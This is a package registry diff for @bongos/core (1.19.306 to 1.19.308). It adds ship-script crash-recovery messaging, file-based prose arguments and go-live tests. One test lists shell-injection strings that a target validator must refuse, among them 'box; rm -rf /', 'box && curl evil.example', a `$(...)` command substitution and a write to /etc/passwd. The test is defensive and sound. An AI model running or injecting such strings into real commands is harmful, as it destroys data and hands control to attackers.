@bongos/core 1.19.306 → 1.19.308
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.bongos-core.json +39 -19
- package/.claude/skills/builder-ship/SKILL.md +21 -9
- package/.claude/skills/fix-task/SKILL.md +1 -1
- package/docs/recipes/claude-design-loop.md +1 -1
- package/docs/recipes/core-release-pipeline.md +32 -0
- package/docs/recipes/figma-design-loop.md +1 -1
- package/package-lock.json +2 -2
- package/package.json +1 -1
- package/scripts/gds/cli-lib.js +53 -0
- package/scripts/gds/go-live.js +666 -0
- package/scripts/gds/ship-honesty.js +150 -0
- package/scripts/gds/ship.js +23 -32
- package/src/module-api.js +5 -1
- package/tests/go_live.mjs +362 -0
- package/tests/route_rank_check.mjs +117 -9
- package/tests/ship_cannot_lie.mjs +168 -0
- package/tests/ship_smoke_gate.mjs +9 -3
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// scripts/gds/ship-honesty.js — a ship must not lose the builder's prose, and
|
|
3
|
+
// must not lie about how far it got (task 1003168 / G04, goal 1000077;
|
|
4
|
+
// criterion guards-ship-cannot-lie).
|
|
5
|
+
//
|
|
6
|
+
// TWO fixes live here because they are one incident. A ship was invoked with
|
|
7
|
+
// handoff notes containing backticks; bash command-substituted them before node
|
|
8
|
+
// ran, truncating the argument list. The task resolved with EMPTY notes, landed
|
|
9
|
+
// at 'completed', and the process died before grading with a bare
|
|
10
|
+
// `fatal: <stack>`. Two failures compounded: the prose was lost (nothing in the
|
|
11
|
+
// ledger about a session that happened), and the status could not say which leg
|
|
12
|
+
// died — 'completed' is ALSO what a grade-failed task looks like.
|
|
13
|
+
//
|
|
14
|
+
// Split out of ship.js, which is ~4600 lines and far over the size ratchet, so
|
|
15
|
+
// adding this there would have regressed excess_lines_total.
|
|
16
|
+
|
|
17
|
+
'use strict';
|
|
18
|
+
|
|
19
|
+
const { argText } = require('./cli-lib.js');
|
|
20
|
+
|
|
21
|
+
// resolveProse(args, specs) — resolve every prose argument for one invocation
|
|
22
|
+
// through cli-lib.argText, refusing the combinations that would silently lose
|
|
23
|
+
// text. Returns a { [bareName]: string } map, or exits 2 having explained why.
|
|
24
|
+
//
|
|
25
|
+
// The extra rule argText cannot enforce alone: stdin can only be consumed ONCE,
|
|
26
|
+
// so two `-file -` arguments in the same command would hand the first reader
|
|
27
|
+
// everything and the second an empty string. Refuse instead — a ship whose notes
|
|
28
|
+
// silently came back empty is the exact incident this whole task is about
|
|
29
|
+
// (learning 1000197).
|
|
30
|
+
function resolveProse(args, specs) {
|
|
31
|
+
const out = {};
|
|
32
|
+
const stdinUsers = [];
|
|
33
|
+
for (const name of specs) {
|
|
34
|
+
const r = argText(`--${name}`, args);
|
|
35
|
+
if (r.error) {
|
|
36
|
+
console.error(r.error);
|
|
37
|
+
process.exit(2);
|
|
38
|
+
}
|
|
39
|
+
if (r.source === 'stdin') stdinUsers.push(`--${name}-file`);
|
|
40
|
+
out[name] = r.value;
|
|
41
|
+
}
|
|
42
|
+
if (stdinUsers.length > 1) {
|
|
43
|
+
console.error(`${stdinUsers.join(' and ')} both read stdin, which can only be consumed once — `
|
|
44
|
+
+ 'the second would silently come back empty. Put at least one in a real file.');
|
|
45
|
+
process.exit(2);
|
|
46
|
+
}
|
|
47
|
+
return out;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// ---------- The ship must not lie about how far it got (G04, task 1003168) ----
|
|
51
|
+
//
|
|
52
|
+
// THE INCIDENT. A ship died after the claim resolved and before the grade
|
|
53
|
+
// recorded. resolveClaim had already landed the task at 'completed', so the
|
|
54
|
+
// process printed `fatal: <stack>` and exited — and 'completed' is exactly what
|
|
55
|
+
// a task ALSO looks like when its grade ran and failed. The status could not
|
|
56
|
+
// distinguish "the pipeline stopped here" from "the pipeline got further and the
|
|
57
|
+
// grade said no", and the work went unrecovered because nobody could tell.
|
|
58
|
+
//
|
|
59
|
+
// The cure is not more status values: it is that the process which knows where it
|
|
60
|
+
// died must SAY so on the way out. shipProgress records the last leg that
|
|
61
|
+
// completed; fatalRecoveryLines turns it into an instruction.
|
|
62
|
+
let shipProgress = { stage: 'preflight', taskId: null };
|
|
63
|
+
|
|
64
|
+
// The one writer. Called by ship.js as each leg completes.
|
|
65
|
+
function markShipProgress(stage, taskId) {
|
|
66
|
+
shipProgress = { stage, taskId };
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// Pure so the wording is pinned by a DB-free test (the smokeGateMessages
|
|
70
|
+
// precedent) — a recovery message that drifts out of date is worse than none.
|
|
71
|
+
//
|
|
72
|
+
// WHY EVERY STAGE POINTS AT A PLAIN RE-RUN, never --regrade: shipMain on a task
|
|
73
|
+
// with no active claim routes by the task's CURRENT status (evaluateResumeAction)
|
|
74
|
+
// — 'completed' resumes the grade, 'confirmed' resumes the merge. --regrade only
|
|
75
|
+
// accepts 'completed' and REFUSES a 'confirmed' task with "its grade passed;
|
|
76
|
+
// nothing to re-grade". A builder reading a crash does not know which leg died,
|
|
77
|
+
// which is the entire problem, so the advice must be the command that works from
|
|
78
|
+
// either — and a plain re-run of a 'completed' task calls regradeMain() anyway.
|
|
79
|
+
function fatalRecoveryLines(progress = shipProgress) {
|
|
80
|
+
const id = progress.taskId;
|
|
81
|
+
const rerun = id ? `node scripts/gds/ship.js ${id}` : 'node scripts/gds/ship.js <task-id>';
|
|
82
|
+
const head = 'The ship did NOT finish. Where it stopped, and what recovers it:';
|
|
83
|
+
switch (progress.stage) {
|
|
84
|
+
case 'resolved':
|
|
85
|
+
return [
|
|
86
|
+
head,
|
|
87
|
+
` Task #${id} is at 'completed' — the claim resolved, the grade did NOT record.`,
|
|
88
|
+
' No credits awarded. Your commits are safe; nothing was lost but the grade.',
|
|
89
|
+
` Resume: ${rerun}`,
|
|
90
|
+
" (A plain re-run resumes the stalled leg. Do NOT reach for --regrade: it only",
|
|
91
|
+
" accepts 'completed', so it refuses outright if the ship actually got further.)",
|
|
92
|
+
];
|
|
93
|
+
case 'graded':
|
|
94
|
+
return [
|
|
95
|
+
head,
|
|
96
|
+
` Task #${id} is at 'confirmed' — it graded and PASSED; the merge/deploy did not finish.`,
|
|
97
|
+
' Credits land on the merge, so they have not been awarded yet.',
|
|
98
|
+
` Resume: ${rerun}`,
|
|
99
|
+
' (--regrade would refuse this one — its grade already passed.)',
|
|
100
|
+
];
|
|
101
|
+
case 'landed':
|
|
102
|
+
return [
|
|
103
|
+
'The ship LANDED; the failure above is in the after-work:',
|
|
104
|
+
` Task #${id} reached 'shipped' — the merge landed and credits were awarded.`,
|
|
105
|
+
' Broadcast / card / cleanup did not complete, which does not undo the ship.',
|
|
106
|
+
` Safe to re-run if you want the after-work retried: ${rerun}`,
|
|
107
|
+
];
|
|
108
|
+
case 'preflight':
|
|
109
|
+
default:
|
|
110
|
+
return [
|
|
111
|
+
head,
|
|
112
|
+
' The claim was NOT resolved — it is still active and the task is unchanged.',
|
|
113
|
+
` Fix the error above and re-run: ${rerun}`,
|
|
114
|
+
];
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
// task 1002605 (G-18): the pre-resolve smoke gate's two message sets, pure so the
|
|
119
|
+
// wording is pinned by a DB-free unit test (tests/ship_smoke_gate.mjs). A smoke
|
|
120
|
+
// FAIL used to fall silently through into the claim resolve — claim consumed,
|
|
121
|
+
// grading skipped with no message, task parked at 'completed', exit 0 — the
|
|
122
|
+
// choke-point map's likeliest "my task vanished" shape. `abort` is the default
|
|
123
|
+
// (printed BEFORE the resolve; the claim stays active); `parked` is the
|
|
124
|
+
// --allow-smoke-fail continuation (printed where the grader would have run, so
|
|
125
|
+
// the builder knows exactly where the task stopped and how to resume).
|
|
126
|
+
function smokeGateMessages(taskId) {
|
|
127
|
+
return {
|
|
128
|
+
abort: [
|
|
129
|
+
'Ship ABORTED: the production smoke test FAILED — see the FAIL line(s) above.',
|
|
130
|
+
'No claim resolved, no credits awarded — your claim is still active and nothing changed.',
|
|
131
|
+
'The smoke suite hits LIVE endpoints (your change is not deployed yet), so this usually means production is briefly degraded — not that your change broke it.',
|
|
132
|
+
` - Re-run once it recovers: node scripts/gds/ship.js ${taskId}`,
|
|
133
|
+
` - Ship anyway (deliberate): node scripts/gds/ship.js ${taskId} --allow-smoke-fail`,
|
|
134
|
+
` (parks the task at 'completed' ungraded; a plain re-run resumes it)`,
|
|
135
|
+
],
|
|
136
|
+
parked: [
|
|
137
|
+
'--allow-smoke-fail: smoke FAILED and the ship deliberately stops here.',
|
|
138
|
+
`Task #${taskId} is parked at 'completed' — ungraded, unconfirmed, no credits awarded.`,
|
|
139
|
+
`Resume when production is healthy: node scripts/gds/ship.js ${taskId}`,
|
|
140
|
+
' (A plain re-run routes to whichever leg stalled. --regrade only accepts a task at',
|
|
141
|
+
" 'completed', so it refuses if the ship got further — task 1003168.)",
|
|
142
|
+
],
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
module.exports = {
|
|
147
|
+
resolveProse, markShipProgress, fatalRecoveryLines, smokeGateMessages,
|
|
148
|
+
_resetForTest: () => { shipProgress = { stage: 'preflight', taskId: null }; },
|
|
149
|
+
_peekForTest: () => shipProgress,
|
|
150
|
+
};
|
package/scripts/gds/ship.js
CHANGED
|
@@ -12,6 +12,7 @@
|
|
|
12
12
|
// the task stays at 'confirmed' for /merge-mode to land later.
|
|
13
13
|
//
|
|
14
14
|
// Usage:
|
|
15
|
+
// node scripts/gds/ship.js <task-id> --notes-file notes.md --summary-file summary.txt
|
|
15
16
|
// node scripts/gds/ship.js <task-id> --notes "handoff markdown" --summary "value-summary line"
|
|
16
17
|
// node scripts/gds/ship.js <task-id> --no-merge # stop after confirm; skip auto-merge
|
|
17
18
|
// node scripts/gds/ship.js <task-id> --db-only # deliberate zero-commit / direct-SQL ship (task 391):
|
|
@@ -62,6 +63,8 @@ const os = require('node:os');
|
|
|
62
63
|
const path = require('node:path');
|
|
63
64
|
const readline = require('node:readline');
|
|
64
65
|
const { cliClient, requireSession, loadSession, loadSessionSync, printOnboardingNudge, arg, rewardPolicy } = require('./cli-lib');
|
|
66
|
+
// task 1003168 (G04): how a ship reports prose + an unfinished run — see that file.
|
|
67
|
+
const { resolveProse, markShipProgress, fatalRecoveryLines, smokeGateMessages } = require('./ship-honesty.js');
|
|
65
68
|
|
|
66
69
|
// The instance's reward policy, as reported by the server on GET /me (ADR 0146 /
|
|
67
70
|
// task 1002469). Cached module-level because the credits print + the completion
|
|
@@ -2235,32 +2238,6 @@ function runSmokeAsync() {
|
|
|
2235
2238
|
});
|
|
2236
2239
|
}
|
|
2237
2240
|
|
|
2238
|
-
// task 1002605 (G-18): the pre-resolve smoke gate's two message sets, pure so the
|
|
2239
|
-
// wording is pinned by a DB-free unit test (tests/ship_smoke_gate.mjs). A smoke
|
|
2240
|
-
// FAIL used to fall silently through into the claim resolve — claim consumed,
|
|
2241
|
-
// grading skipped with no message, task parked at 'completed', exit 0 — the
|
|
2242
|
-
// choke-point map's likeliest "my task vanished" shape. `abort` is the default
|
|
2243
|
-
// (printed BEFORE the resolve; the claim stays active); `parked` is the
|
|
2244
|
-
// --allow-smoke-fail continuation (printed where the grader would have run, so
|
|
2245
|
-
// the builder knows exactly where the task stopped and how to resume).
|
|
2246
|
-
function smokeGateMessages(taskId) {
|
|
2247
|
-
return {
|
|
2248
|
-
abort: [
|
|
2249
|
-
'Ship ABORTED: the production smoke test FAILED — see the FAIL line(s) above.',
|
|
2250
|
-
'No claim resolved, no credits awarded — your claim is still active and nothing changed.',
|
|
2251
|
-
'The smoke suite hits LIVE endpoints (your change is not deployed yet), so this usually means production is briefly degraded — not that your change broke it.',
|
|
2252
|
-
` - Re-run once it recovers: node scripts/gds/ship.js ${taskId}`,
|
|
2253
|
-
` - Ship anyway (deliberate): node scripts/gds/ship.js ${taskId} --allow-smoke-fail`,
|
|
2254
|
-
` (parks the task at 'completed' ungraded; resume later with --regrade)`,
|
|
2255
|
-
],
|
|
2256
|
-
parked: [
|
|
2257
|
-
'--allow-smoke-fail: smoke FAILED and the ship deliberately stops here.',
|
|
2258
|
-
`Task #${taskId} is parked at 'completed' — ungraded, unconfirmed, no credits awarded.`,
|
|
2259
|
-
`Resume when production is healthy: node scripts/gds/ship.js ${taskId} --regrade`,
|
|
2260
|
-
],
|
|
2261
|
-
};
|
|
2262
|
-
}
|
|
2263
|
-
|
|
2264
2241
|
// ---------- Step 3: merge + deploy chain ----------
|
|
2265
2242
|
|
|
2266
2243
|
function currentBranch() {
|
|
@@ -3696,11 +3673,14 @@ async function shipMain() {
|
|
|
3696
3673
|
const args = process.argv.slice(2);
|
|
3697
3674
|
const taskId = Number(args[0]);
|
|
3698
3675
|
if (!Number.isFinite(taskId)) {
|
|
3699
|
-
console.error('usage: node scripts/gds/ship.js <task-id> --notes "..." --summary "..." [--surprise "text" | --surprise none | --no-surprise] [--no-merge] [--db-only] [--verified] [--allow-empty] [--allow-smoke-fail] [--base <ref>]');
|
|
3676
|
+
console.error('usage: node scripts/gds/ship.js <task-id> (--notes-file <path|-> | --notes "...") (--summary-file <path|-> | --summary "...") [--surprise "text" | --surprise none | --no-surprise] [--no-merge] [--db-only] [--verified] [--allow-empty] [--allow-smoke-fail] [--base <ref>]');
|
|
3677
|
+
console.error(' prefer the -file forms for prose: a shell command-substitutes backticks in an inline value before node sees it (learning 1000197).');
|
|
3700
3678
|
process.exit(2);
|
|
3701
3679
|
}
|
|
3702
|
-
|
|
3703
|
-
const
|
|
3680
|
+
// G04: prose from a FILE or inline, never shell-mangled in silence.
|
|
3681
|
+
const prose = resolveProse(args, ['notes', 'summary']);
|
|
3682
|
+
const notes = prose.notes;
|
|
3683
|
+
const summary = prose.summary;
|
|
3704
3684
|
const skipMerge = args.includes('--no-merge');
|
|
3705
3685
|
const force = args.includes('--force');
|
|
3706
3686
|
// task 391 (idea #37): a deliberate zero-commit / direct-SQL ship. Without it,
|
|
@@ -4114,6 +4094,8 @@ async function shipMain() {
|
|
|
4114
4094
|
|
|
4115
4095
|
const taskStatus = r.data.taskStatus || 'shipped (legacy response)';
|
|
4116
4096
|
console.log(`Task #${r.data.taskId} is now: ${taskStatus}`);
|
|
4097
|
+
// Claim CONSUMED, task at 'completed' — a crash from here needs fatalRecoveryLines.
|
|
4098
|
+
markShipProgress('resolved', taskId);
|
|
4117
4099
|
|
|
4118
4100
|
// ---- Step 2: subagent quality grader ----
|
|
4119
4101
|
// Runs when local verification passed AND resolveClaim landed at completed.
|
|
@@ -4241,6 +4223,10 @@ async function shipMain() {
|
|
|
4241
4223
|
// ---- Step 3: confirmed→shipped tail (merge + deploy → memory/session sync →
|
|
4242
4224
|
// Done → onboarding nudge → completion card), shared with regradeMain via
|
|
4243
4225
|
// finishShip (#1093/C9). ----
|
|
4226
|
+
// Graded. If it passed, only the merge remains — a different crash story.
|
|
4227
|
+
if (postGradeStatus === 'confirmed' || postGradeStatus === 'shipped') {
|
|
4228
|
+
markShipProgress(postGradeStatus === 'shipped' ? 'landed' : 'graded', taskId);
|
|
4229
|
+
}
|
|
4244
4230
|
await finishShip({
|
|
4245
4231
|
taskId, summary, advanceToMerge, skipMerge, postGradeStatus, doneLine: 'Done.', dbOnly,
|
|
4246
4232
|
// task 1270: data for the deterministic completion card.
|
|
@@ -4283,14 +4269,15 @@ async function regradeMain() {
|
|
|
4283
4269
|
const args = process.argv.slice(2);
|
|
4284
4270
|
const taskId = Number(args[0]);
|
|
4285
4271
|
if (!Number.isFinite(taskId)) {
|
|
4286
|
-
console.error('usage: node scripts/gds/ship.js <task-id> --regrade [--summary "..."] [--response "..."] [--no-merge] [--force] [--verified] [--base <ref>]');
|
|
4272
|
+
console.error('usage: node scripts/gds/ship.js <task-id> --regrade [--summary-file <path|-> | --summary "..."] [--response-file <path|-> | --response "..."] [--no-merge] [--force] [--verified] [--base <ref>]');
|
|
4287
4273
|
process.exit(2);
|
|
4288
4274
|
}
|
|
4289
|
-
const
|
|
4275
|
+
const regradeProse = resolveProse(args, ['summary', 'response']);
|
|
4276
|
+
const summaryArg = regradeProse.summary;
|
|
4290
4277
|
// task 1002662: the builder's response to the prior round's findings — how
|
|
4291
4278
|
// each was fixed, tracked (a task ref), or why it's out of scope. Rides to
|
|
4292
4279
|
// the panel fenced, under the delta re-grade policy.
|
|
4293
|
-
const responseArg =
|
|
4280
|
+
const responseArg = regradeProse.response;
|
|
4294
4281
|
const skipMerge = args.includes('--no-merge');
|
|
4295
4282
|
const force = args.includes('--force');
|
|
4296
4283
|
// task 1002422: honor --base on regrade/resume too, so `--regrade --base <ref>`
|
|
@@ -4609,6 +4596,7 @@ module.exports = {
|
|
|
4609
4596
|
// / non-ci → false) is unit-tested with no gh/network (env-driven via
|
|
4610
4597
|
// OTB_DEPLOY_MODE + OTB_PUSH_VIA_SERVER).
|
|
4611
4598
|
broadcastHandledByServer,
|
|
4599
|
+
fatalRecoveryLines, // G04 re-export (definition in ship-honesty.js)
|
|
4612
4600
|
};
|
|
4613
4601
|
|
|
4614
4602
|
if (require.main === module) {
|
|
@@ -4617,6 +4605,9 @@ if (require.main === module) {
|
|
|
4617
4605
|
const main = process.argv.slice(2).includes('--regrade') ? regradeMain : shipMain;
|
|
4618
4606
|
main().catch((err) => {
|
|
4619
4607
|
console.error('fatal:', err);
|
|
4608
|
+
// G04: never exit on a stack trace alone — say which leg died.
|
|
4609
|
+
console.error('');
|
|
4610
|
+
for (const line of fatalRecoveryLines()) console.error(line);
|
|
4620
4611
|
process.exit(1);
|
|
4621
4612
|
});
|
|
4622
4613
|
}
|
package/src/module-api.js
CHANGED
|
@@ -1039,8 +1039,12 @@ const { validateOrRespond, LIMITS, parseId, asyncHandler, corsPublicGet, parsePa
|
|
|
1039
1039
|
// landed since 1.19.304 with no explicit bump. run 32660902666. (task 1002620)
|
|
1040
1040
|
// 1.19.306 — CI auto-patch (publish-on-merge, ADR 0161): carrier for merges
|
|
1041
1041
|
// landed since 1.19.305 with no explicit bump. run 32662000590. (task 1002620)
|
|
1042
|
+
// 1.19.307 — CI auto-patch (publish-on-merge, ADR 0161): carrier for merges
|
|
1043
|
+
// landed since 1.19.306 with no explicit bump. run 32663876767. (task 1002620)
|
|
1044
|
+
// 1.19.308 — CI auto-patch (publish-on-merge, ADR 0161): carrier for merges
|
|
1045
|
+
// landed since 1.19.307 with no explicit bump. run 32664559221. (task 1002620)
|
|
1042
1046
|
// ---------------------------------------------------------------------------
|
|
1043
|
-
const CORE_VERSION = '1.19.
|
|
1047
|
+
const CORE_VERSION = '1.19.308'; // CI auto-patch carrier (ADR 0161); see changelog above
|
|
1044
1048
|
|
|
1045
1049
|
// A namespaced logger so a module's log lines are attributable + consistent.
|
|
1046
1050
|
// Usage: const log = api.logger('dev-box'); log.info('mounted');
|
|
@@ -0,0 +1,362 @@
|
|
|
1
|
+
// tests/go_live.mjs
|
|
2
|
+
//
|
|
3
|
+
// task 1003189 — go-live is one command.
|
|
4
|
+
//
|
|
5
|
+
// What is worth pinning here is NOT the happy path (that needs a real box) but the
|
|
6
|
+
// REFUSALS. The whole value of this script is that it stops instead of guessing, and
|
|
7
|
+
// every halt below is a trap this pipeline has actually paid for at least once:
|
|
8
|
+
//
|
|
9
|
+
// UNRELEASED_ON_MAIN — the ten-day stale-prod incident (blocker 1000097), and
|
|
10
|
+
// the publish push-race that leaves main's code carried by
|
|
11
|
+
// no release at all.
|
|
12
|
+
// MARKER_ABSENT — "the release current when your fix merges usually does
|
|
13
|
+
// NOT contain your fix" (ADR 0161 carriers bump on their
|
|
14
|
+
// own cadence). Deploying it is a clean go-live that
|
|
15
|
+
// changes nothing, and every downstream check agrees.
|
|
16
|
+
// ALREADY_LIVE / LIVE_AHEAD — a no-op bump reported as success.
|
|
17
|
+
// DIRTY_CHECKOUT — CORE_VERSION read from a dirty tree is not what shipped.
|
|
18
|
+
//
|
|
19
|
+
// The shell-safety tests are the other half. This script composes a command that runs
|
|
20
|
+
// as root over ssh, so a config value carrying `$(...)`, a backtick or a `;` must be
|
|
21
|
+
// REFUSED, not quoted-and-hoped-for (the #681 injection class).
|
|
22
|
+
//
|
|
23
|
+
// Run: node --test tests/go_live.mjs
|
|
24
|
+
|
|
25
|
+
import { test } from 'node:test';
|
|
26
|
+
import assert from 'node:assert/strict';
|
|
27
|
+
import { createRequire } from 'node:module';
|
|
28
|
+
import path from 'node:path';
|
|
29
|
+
import { fileURLToPath } from 'node:url';
|
|
30
|
+
|
|
31
|
+
const require = createRequire(import.meta.url);
|
|
32
|
+
const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..');
|
|
33
|
+
const G = require('../scripts/gds/go-live.js');
|
|
34
|
+
|
|
35
|
+
const okTarget = {
|
|
36
|
+
ssh: 'my-box',
|
|
37
|
+
instanceDir: '/home/me/inst',
|
|
38
|
+
service: 'inst.service',
|
|
39
|
+
healthUrl: 'http://127.0.0.1:3002/healthz',
|
|
40
|
+
versionUrl: 'http://127.0.0.1:3002/version',
|
|
41
|
+
deployTimer: 'inst-deploy.timer',
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
// A divergence result shaped like deploy-divergence.check() returns.
|
|
45
|
+
const div = (over = {}) => ({
|
|
46
|
+
ok: true, onMain: '1.19.306', live: { coreVersion: '1.19.305' },
|
|
47
|
+
hasUnreleased: false, unreleased: { count: 0 }, ...over,
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
// ---------------------------------------------------------------------------
|
|
51
|
+
// Halt matrix
|
|
52
|
+
// ---------------------------------------------------------------------------
|
|
53
|
+
|
|
54
|
+
test('a clean gap plans with no halts', () => {
|
|
55
|
+
const p = G.planGoLive({ div: div(), target: okTarget, targetVersion: '1.19.306' });
|
|
56
|
+
assert.equal(p.halts.length, 0, JSON.stringify(p.halts));
|
|
57
|
+
assert.equal(p.from, '1.19.305');
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('unreleased commits on main HALT the go-live', () => {
|
|
61
|
+
const p = G.planGoLive({
|
|
62
|
+
div: div({ hasUnreleased: true, unreleased: { count: 7 } }),
|
|
63
|
+
target: okTarget, targetVersion: '1.19.306',
|
|
64
|
+
});
|
|
65
|
+
const h = p.halts.find((x) => x.code === 'UNRELEASED_ON_MAIN');
|
|
66
|
+
assert.ok(h, 'expected UNRELEASED_ON_MAIN');
|
|
67
|
+
// The detail must name the push-race, or the reader assumes it is only timing.
|
|
68
|
+
assert.match(h.detail, /publish/i);
|
|
69
|
+
assert.match(h.detail, /7 commit/);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
test('--allow-unreleased downgrades that halt to a note rather than dropping it', () => {
|
|
73
|
+
const p = G.planGoLive({
|
|
74
|
+
div: div({ hasUnreleased: true, unreleased: { count: 7 } }),
|
|
75
|
+
target: okTarget, targetVersion: '1.19.306', allowUnreleased: true,
|
|
76
|
+
});
|
|
77
|
+
assert.equal(p.halts.find((x) => x.code === 'UNRELEASED_ON_MAIN'), undefined);
|
|
78
|
+
const n = p.notes.find((x) => x.code === 'UNRELEASED_ON_MAIN');
|
|
79
|
+
assert.ok(n && n.downgraded, 'the condition must still be REPORTED, just not fatal');
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
test('a no-op bump is a halt, not a success', () => {
|
|
83
|
+
const p = G.planGoLive({
|
|
84
|
+
div: div({ live: { coreVersion: '1.19.306' } }), target: okTarget, targetVersion: '1.19.306',
|
|
85
|
+
});
|
|
86
|
+
assert.ok(p.halts.find((x) => x.code === 'ALREADY_LIVE'));
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
test('live ahead of the target halts rather than silently downgrading', () => {
|
|
90
|
+
const p = G.planGoLive({
|
|
91
|
+
div: div({ live: { coreVersion: '1.19.310' } }), target: okTarget, targetVersion: '1.19.306',
|
|
92
|
+
});
|
|
93
|
+
assert.ok(p.halts.find((x) => x.code === 'LIVE_AHEAD'));
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
test('a dirty core checkout halts — CORE_VERSION there is not what shipped', () => {
|
|
97
|
+
const p = G.planGoLive({
|
|
98
|
+
div: div(), target: okTarget, targetVersion: '1.19.306', dirtyCheckout: ' M src/module-api.js',
|
|
99
|
+
});
|
|
100
|
+
assert.ok(p.halts.find((x) => x.code === 'DIRTY_CHECKOUT'));
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
test('an undetermined divergence halts and does not fall through to a bump', () => {
|
|
104
|
+
const p = G.planGoLive({
|
|
105
|
+
div: { undetermined: true, reason: 'could not read /version' }, target: okTarget, targetVersion: '1.19.306',
|
|
106
|
+
});
|
|
107
|
+
assert.equal(p.halts.length, 1);
|
|
108
|
+
assert.equal(p.halts[0].code, 'DIVERGENCE_UNDETERMINED');
|
|
109
|
+
assert.equal(p.from, null, 'must not invent a from-version');
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
// ---------------------------------------------------------------------------
|
|
113
|
+
// Shell safety — this builds a command that runs as root over ssh
|
|
114
|
+
// ---------------------------------------------------------------------------
|
|
115
|
+
|
|
116
|
+
test('config values carrying shell metacharacters are REFUSED', () => {
|
|
117
|
+
for (const evil of [
|
|
118
|
+
'$(touch /tmp/pwned)',
|
|
119
|
+
'`id`',
|
|
120
|
+
'box; rm -rf /',
|
|
121
|
+
'box && curl evil.example',
|
|
122
|
+
'box\nrm -rf /',
|
|
123
|
+
'box|tee /etc/passwd',
|
|
124
|
+
"box'quote",
|
|
125
|
+
]) {
|
|
126
|
+
const errs = G.validateTarget('t', { ...okTarget, ssh: evil });
|
|
127
|
+
assert.ok(errs.length > 0, `expected refusal for ${JSON.stringify(evil)}`);
|
|
128
|
+
assert.match(errs.join(' '), /unsafe in a shell/);
|
|
129
|
+
}
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
test('env values and keys are validated too', () => {
|
|
133
|
+
assert.ok(G.validateTarget('t', { ...okTarget, env: { PGDATABASE: '$(id)' } }).length > 0);
|
|
134
|
+
assert.ok(G.validateTarget('t', { ...okTarget, env: { 'BAD KEY': 'x' } }).length > 0);
|
|
135
|
+
assert.equal(G.validateTarget('t', { ...okTarget, env: { PGDATABASE: 'mydb' } }).length, 0);
|
|
136
|
+
});
|
|
137
|
+
|
|
138
|
+
test('a typo’d field is reported, never silently ignored', () => {
|
|
139
|
+
// A misspelled healthUrl that is quietly dropped would DISABLE the health gate —
|
|
140
|
+
// exactly the quiet failure this pipeline keeps being bitten by.
|
|
141
|
+
const errs = G.validateTarget('t', { ...okTarget, healthURL: 'http://x/healthz' });
|
|
142
|
+
assert.match(errs.join(' '), /unknown field "healthURL"/);
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
test('missing required fields are named individually', () => {
|
|
146
|
+
const errs = G.validateTarget('t', { ssh: 'box' });
|
|
147
|
+
for (const f of ['instanceDir', 'service', 'healthUrl', 'versionUrl', 'deployTimer']) {
|
|
148
|
+
assert.match(errs.join(' '), new RegExp(`missing required field "${f}"`));
|
|
149
|
+
}
|
|
150
|
+
});
|
|
151
|
+
|
|
152
|
+
test('a valid target passes clean', () => {
|
|
153
|
+
assert.deepEqual(G.validateTarget('t', okTarget), []);
|
|
154
|
+
});
|
|
155
|
+
|
|
156
|
+
test('asOwner composes the documented sudo -u … env … shape', () => {
|
|
157
|
+
const cmd = G.asOwner({ runAs: 'me', env: { PGDATABASE: 'mydb' } }, 'echo hi');
|
|
158
|
+
assert.match(cmd, /^sudo -u me -H env PGDATABASE=mydb HOME=\/home\/me echo hi$/);
|
|
159
|
+
// PGDATABASE is load-bearing: without it migrate targets a stale default and
|
|
160
|
+
// the upgrade auto-rolls-back. It must survive into the command.
|
|
161
|
+
assert.ok(cmd.includes('PGDATABASE=mydb'));
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
test('asOwner with no runAs still carries env', () => {
|
|
165
|
+
assert.equal(G.asOwner({ env: { A: 'b' } }, 'x'), 'env A=b x');
|
|
166
|
+
assert.equal(G.asOwner({}, 'x'), 'x');
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
// ---------------------------------------------------------------------------
|
|
170
|
+
// Config loading
|
|
171
|
+
// ---------------------------------------------------------------------------
|
|
172
|
+
|
|
173
|
+
test('an absent config reports NO_TARGET_CONFIG with a template, not a stack trace', () => {
|
|
174
|
+
const r = G.loadConfig({ configPath: 'config/definitely-not-here.json', exists: () => false });
|
|
175
|
+
assert.equal(r.error, 'NO_TARGET_CONFIG');
|
|
176
|
+
assert.ok(r.template.includes('instanceDir'));
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
test('a malformed config is reported as malformed, not treated as empty', () => {
|
|
180
|
+
const r = G.loadConfig({ configPath: 'x.json', exists: () => true, readFile: () => '{ not json' });
|
|
181
|
+
assert.equal(r.error, 'CONFIG_MALFORMED');
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
test('a config without targets is malformed rather than a silent no-op', () => {
|
|
185
|
+
const r = G.loadConfig({ configPath: 'x.json', exists: () => true, readFile: () => '{"defaultTarget":"web"}' });
|
|
186
|
+
assert.equal(r.error, 'CONFIG_MALFORMED');
|
|
187
|
+
assert.match(r.detail, /targets/);
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
test('the shipped template is itself valid config', () => {
|
|
191
|
+
const r = G.loadConfig({ configPath: 'x.json', exists: () => true, readFile: () => G.CONFIG_TEMPLATE });
|
|
192
|
+
assert.ok(r.ok, `template did not parse: ${r.detail || ''}`);
|
|
193
|
+
const sel = G.selectTarget(r.config, undefined);
|
|
194
|
+
